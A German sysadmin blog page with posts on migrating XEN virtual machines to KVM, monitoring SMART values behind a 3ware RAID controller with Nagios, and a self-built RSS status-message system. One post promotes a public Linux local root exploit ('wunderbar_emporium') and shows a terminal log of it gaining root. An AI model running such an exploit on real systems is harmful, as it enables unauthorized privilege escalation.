Migration virtueller Maschinen von XEN zu KVM

Die Migration virtueller Maschinen von XEN zu KVM ist einfacher als ich es zuerst befuerchtet hatte. Das Hauptarbeit liegt darin die *.img Dateien umzuwandeln. Waehrend XEN fuer jede Partition eine Imagedatei anlegt (z.B. disk.img, swap.img etc.) speichert KVM die komplette Maschine in einem Image.  Weiter hat jede Maschine in KVM seinen eigenen kompletten Kernel. Die Aufgaben sind kurz zusammengefasst:

  • Installation von grub und Kernel in der XEN-Maschine
  • Erstellen einer neuen KVM Imagedatei
  • Partitionierung der KVM Imagedatei, kopieren der XEN Imagedatei(en)  in die neue KVM Imagedatei
  • Installation von grub in der KVM Imagedatei
  • Anlegen einer neuen Maschine in KVM und einbinden der frisch erstellten KVM Imagedatei in die neue Maschine

Diese Schritte sind alle beschrieben in dem Blogpost XEN to KVM Migration auf SirPing’s blog. Ich habe die Migration von 4 Maschinen erfolgreich nach der Anleitung durchgefuehrt. Da der Blog zur Zeit nur aus einem einzigen Post besteht, und dieser auch inzwischen ein knappes Jahr alt ist ist, habe ich zur Sicherheit den Beitrag hier nochmal als PDF angehaengt.

local root exploit fuer alle linux kernel seit 2001

Es gibt einen neuen local root exploit fuer den Linux Kernel fuer alle 2.4er und 2.6er Kernel seit 2001. Funktioniert ganz wunderbar hier und ueberall, einfach wunderbar_emporium herunterladen und ausfuehren und siehe selbst:

jan@scherge:~/wunderbar_emporium$ id
uid=1003(jan) gid=1003(jan) Gruppen=114(wheel),1003(jan),1004(userbet)
jan@scherge:~/wunderbar_emporium$ ./wunderbar_emporium.sh 
 [+] MAPPED ZERO PAGE!
 [+] Resolved sel_read_enforce to 0xffffffff802f334a
 [+] got ring0!
 [+] detected 2.6 style 4k stacks
sh: mplayer: command not found
 [+] Disabled security of : nothing, what an insecure machine!
 [+] Got root!
sh-3.1# id
uid=0(root) gid=0(root) Gruppen=114(wheel),1003(jan),1004(userbet)
sh-3.1#

Nagios -> S.M.A.R.T-Werte von HDDs an 3ware RAID-Controler

Das meiste steht bereits in der Ueberschrift. Ich wollte mit Nagios einige Festplatten im RAID 5 im Auge behalten. Den RAID-Controler selber ueberwache ich bereits mit dem Plugin check_3ware, das mal von Matthias veraendert wurde, aber nen Diff kann ich leider nicht bieten. Funktioniert jedoch wunderbar!

Um an die S.M.A.R.T-Werte der Festplatten zu kommen kann man nicht einfach ein smartctl -a /dev/hdaX machen, da sie ueber den RAID-Controler angesteuert werden und nicht als eigenes Device existieren. Der Befehl dafuer lautet jeh nach RAID-Controler entweder smartctl -a -d 3ware,0 /dev/twa0, oder evtl. auch /dev/twe0. Die Plugins die z.B. bei MonitoringExchange existieren koennen aber alle nicht mit einem zusaetzlichen Deviceparamter umgehen, oder akzeptieren nur „ata“ bzw. „scsi“ als Devicetyp fuer smartctl. Ueber diesen Blogeintrag bei ostlogd und das erste Kommentar dort mit dem Diff fuer das check_smart-Plugin waren dann alle Probleme geloest. Works like a charm :-D

Statusmeldungen verbreiten

Sobald man mehr als nur ein paar Rechner betreut steht man bei Wartungsarbeiten an Servern oder der Netzinfrastruktur vor dem Problem viele Leute verlaesslich zu informieren. Seiner eigenen Informationspflicht nachkommen zu muessen, aber gleichzeitig das ganze fuer sich selber so einfach wie moeglich zu gestalten ist ein schwieriger Spagat. Ich wusste nicht, wie ich diesen loesen soll.

Ich habe mir dann einige Gedanken dazu gemacht. Am besten ist es natuerlich die Informationspflicht umzudrehen. Nicht mehr ICH muss mich darum kuemmern, dass die Leute alle die Informationen erhalten, sondern DIE LEUTE muessen sich darum kuemmern die von mir bereitgestellten Informationen immer zu erhalten. Ich glaube, dass das machbar ist. Dazu gehoert natuerlich einiges an Planung, uebergangszeit usw.
Dann habe ich mich hingesetzt und mir ueberlegt, wie ich solche Informationen gerne praesentiert haette und schnell war raus: ein RSS-Feed sollte her. Am einfachsten erschien es mir eine kleine Homepage zu haben, wo man Meldungen schreiben kann und diese dann als RSS-Feed exportiert werden. Simpel sollte es vor allem sein. Eine Netzsuche nach geeigneten Loesungen brachte mich schnell zu den bekannten Projekten: WordPress incl. Plugins, Dokuwiki + Plugins, Laconica… In meinen Augen alle oversized..

Nach kurzem ueberlegen hab ich es einfach selber geschrieben. Herausgekommen sind eine MySQL Datenbank mit einer Tabelle, einige wenige Zeilen PHP-Code und ein bisschen XHTML mit CSS. Man kann in einem passwortgeschuetzen Bereich eine neue Meldung verfassen und diese dann Abspeichern. Die Meldungen der letzten sieben Tage werden dann auf der Startseite angezeigt. Des Weiteren werden sie als RSS-Feed exportiert. Das die Ueberschriften bei Twitter gepostet werden war ein Zeitvertreib, aber die Emailverteilerfunktion bei der die Meldungen auch automatisch per Mail versendet werden an einen Verteiler, in den man sich sehr einfach ein- oder austragen kann war dann doch noch notwendig.

Hier zwei Bilder von dem System, wer interesse am Quelltext hat einfach melden.

statusseite

neuemeldung